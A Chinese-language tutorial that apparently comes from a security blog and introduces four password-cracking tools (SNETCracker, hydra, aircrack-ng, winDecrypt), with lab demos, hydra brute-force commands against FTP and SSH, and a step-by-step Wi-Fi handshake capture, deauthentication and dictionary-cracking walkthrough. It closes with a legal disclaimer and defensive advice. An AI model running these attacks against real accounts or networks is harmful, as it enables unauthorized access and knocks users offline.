常用开源的弱口令检查审计工具

本文介绍了四种常用的开源弱口令检查工具:SNETCracker、hydra、aircrack-ng和winDecrypt。这些工具分别适用于不同的场景和协议,能够帮助安全研究人员进行弱口令安全审计和密码破解。

1. SNETCracker(超级弱口令检查工具)

1.1 工具简介

SNETCracker是一款开源的Windows平台弱口令安全审计工具,采用C#开发,需要安装.NET Framework 4.0运行环境。该工具支持批量多线程检查,可快速发现弱密码、弱口令账号,支持密码和用户名结合检查,大大提高成功率。

1.2 支持的服务协议

  • SSH、RDP(远程桌面)、VNC
  • MySQL、SQLServer、Oracle、PostgreSQL
  • MongoDB、Memcached、Redis
  • SMTP、POP3、IMAP(支持SSL加密版本)、SVN、FTP、Telnet

1.3 主要特点

  1. 多服务支持:支持多种常见服务的弱口令破解,特别是RDP(3389远程桌面)弱口令检查
  2. 批量处理:支持批量导入IP地址或设置IP段,同时进行多个服务的弱口令检查
  3. 集成功能:程序自带端口扫描功能,无需借助第三方端口扫描工具
  4. 高度可定制:支持自定义检查的口令字典和端口配置

1.4 下载地址

https://github.com/shack2/SNETCracker/releases

1.5 使用演示

测试环境:

  • 目标靶机:Windows XP,IP:192.168.106.138
  • 攻击主机:Windows 11,IP:192.168.106.1

操作步骤:

  1. 打开SNETCracker工具
  2. 配置目标IP地址和端口
  3. 选择要检查的服务类型
  4. 设置用户名和密码字典
  5. 开始扫描并查看结果

结果验证:
成功获取RDP远程桌面账号密码后,可使用该凭证进行远程登录验证。

2. hydra(九头蛇)

2.1 工具简介

Hydra是一款非常强大的暴力破解工具,由著名的黑客组织THC开发并开源。它是一个验证性质的工具,主要目的是展示安全研究人员如何从远程获取系统认证权限。

2.2 支持协议

Hydra支持超过50种协议,主要包括:

  • 网络服务:FTP、HTTP/HTTPS、SMTP、POP3、IMAP
  • 数据库:MySQL、Oracle、PostgreSQL、MS-SQL
  • 远程访问:SSH、Telnet、RDP、VNC
  • 其他:LDAP、SMB、SNMP、SIP等

2.3 基本语法

1
hydra [参数] [IP地址] [服务]

2.4 常用参数

参数 说明
-l login 指定用户名进行破解
-L file 指定用户名字典文件
-p pass 指定密码进行破解
-P file 指定密码字典文件
-e ns 额外选项:n-空密码试探,s-使用指定账户和密码试探
-M file 指定目标IP列表文件,用于批量破解
-o file 指定结果输出文件
-f 找到第一对有效凭证时停止破解
-t tasks 设置同时运行的线程数(默认16)
-v / -V 显示详细过程
-R 恢复中断的破解任务

2.5 使用演示

测试环境:

  • 目标靶机:Windows XP,IP:192.168.106.138
  • 攻击主机:Kali Linux,IP:192.168.106.140

示例命令:

1
2
3
4
5
# 对FTP服务进行暴力破解
hydra -L users.txt -P passwords.txt ftp://192.168.106.138

# 对SSH服务进行破解,使用指定用户
hydra -l admin -P passwords.txt ssh://192.168.106.138

3. aircrack-ng(无线网络破解)

3.1 工具简介

Aircrack-ng是破解WEP/WPA/WPA2加密的主流工具之一,目前在该领域排名第一。该套件包含的工具可用于捕获数据包、握手验证,支持暴力破解和字典攻击。

3.2 硬件要求

  • 支持监听模式的USB无线网卡(推荐使用3370芯片)
  • 网卡需支持双向监听和免驱动

3.3 破解步骤详解

3.3.1 准备工作

  1. 连接支持监听模式的无线网卡到Kali Linux
  2. 检查网卡状态和连接情况

3.3.2 清除干扰进程

1
airmon-ng check kill

此命令会检查并终止可能干扰airmon-ng的进程。

3.3.3 开启监听模式

1
airmon-ng start wlan0

开启后网卡名称可能变为wlan0mon(监控模式)。

3.3.4 扫描附近WiFi

1
airodump-ng wlan0mon

显示信息包括:

  • BSSID:路由器MAC地址
  • PWR:信号强度
  • Data:数据流量(有流量表示有人使用)
  • CH:信道
  • ESSID:WiFi名称

3.3.5 抓取握手包

1
airodump-ng -c [信道] --bssid [MAC地址] -w [保存路径] wlan0mon

示例:

1
airodump-ng -c 1 --bssid 28:6C:07:53:53:80 -w ~/Desktop/cap/2.4G wlan0mon

3.3.6 进行洪水攻击

1
aireplay-ng -0 0 -a [MAC地址] wlan0mon

此命令会使连接该路由器的设备断开连接,在重连过程中抓取握手包。

3.3.7 破解密码

1
aircrack-ng -w [密码字典路径] [抓包文件路径]

示例:

1
aircrack-ng -w ~/Desktop/passwd/408.txt ~/Desktop/cap/2.4G-01.cap

3.3.8 停止攻击

1
airmon-ng stop wlan0mon

4. winDecrypt(PDF密码破解工具)

4.1 工具简介

winDecrypt是一款专门用于移除PDF文档密码保护的工具,支持破解加密的PDF文件,使其可以正常复制、编辑和打印。

4.2 使用步骤

  1. 打开加密PDF:点击”打开PDF”按钮,选择需要解密的PDF文档
  2. 自动解密:工具会自动处理加密的PDF文件
  3. 保存解密文件:系统会弹出另存对话框,选择保存位置即可

4.3 注意事项

  • 该工具仅用于合法用途,如恢复自己忘记密码的PDF文档
  • 请勿用于侵犯他人隐私或违反法律法规的行为

工具对比与选择建议

工具 适用平台 主要用途 特点
SNETCracker Windows 多服务弱口令检查 图形界面,支持批量扫描,集成端口扫描
hydra Linux/Windows 多协议暴力破解 命令行工具,支持协议广泛,功能强大
aircrack-ng Linux 无线网络破解 专业无线安全工具,支持多种加密方式
winDecrypt Windows PDF密码移除 简单易用,专门处理PDF加密

安全与法律声明

合法使用原则

  1. 授权测试:仅在对自有系统或获得明确授权的系统上进行测试
  2. 遵守法律:严格遵守当地法律法规,不得用于非法入侵
  3. 保护隐私:不得侵犯他人隐私和合法权益
  4. 教育目的:这些工具主要用于安全研究和教育目的

安全建议

  1. 强密码策略:使用复杂密码,定期更换
  2. 多因素认证:重要系统启用多因素认证
  3. 访问控制:实施最小权限原则
  4. 安全审计:定期进行安全检查和漏洞扫描

总结

本文介绍的四款开源弱口令检查工具各有特色,适用于不同的安全测试场景。SNETCracker适合Windows环境下的多服务批量检查,hydra是功能全面的命令行破解工具,aircrack-ng专注于无线网络安全,winDecrypt则专门处理PDF加密问题。

安全研究人员应根据实际需求选择合适的工具,并始终遵守法律法规和职业道德,将这些工具用于合法的安全测试和教育目的。同时,系统管理员也应了解这些工具的工作原理,以便更好地防御潜在的安全威胁。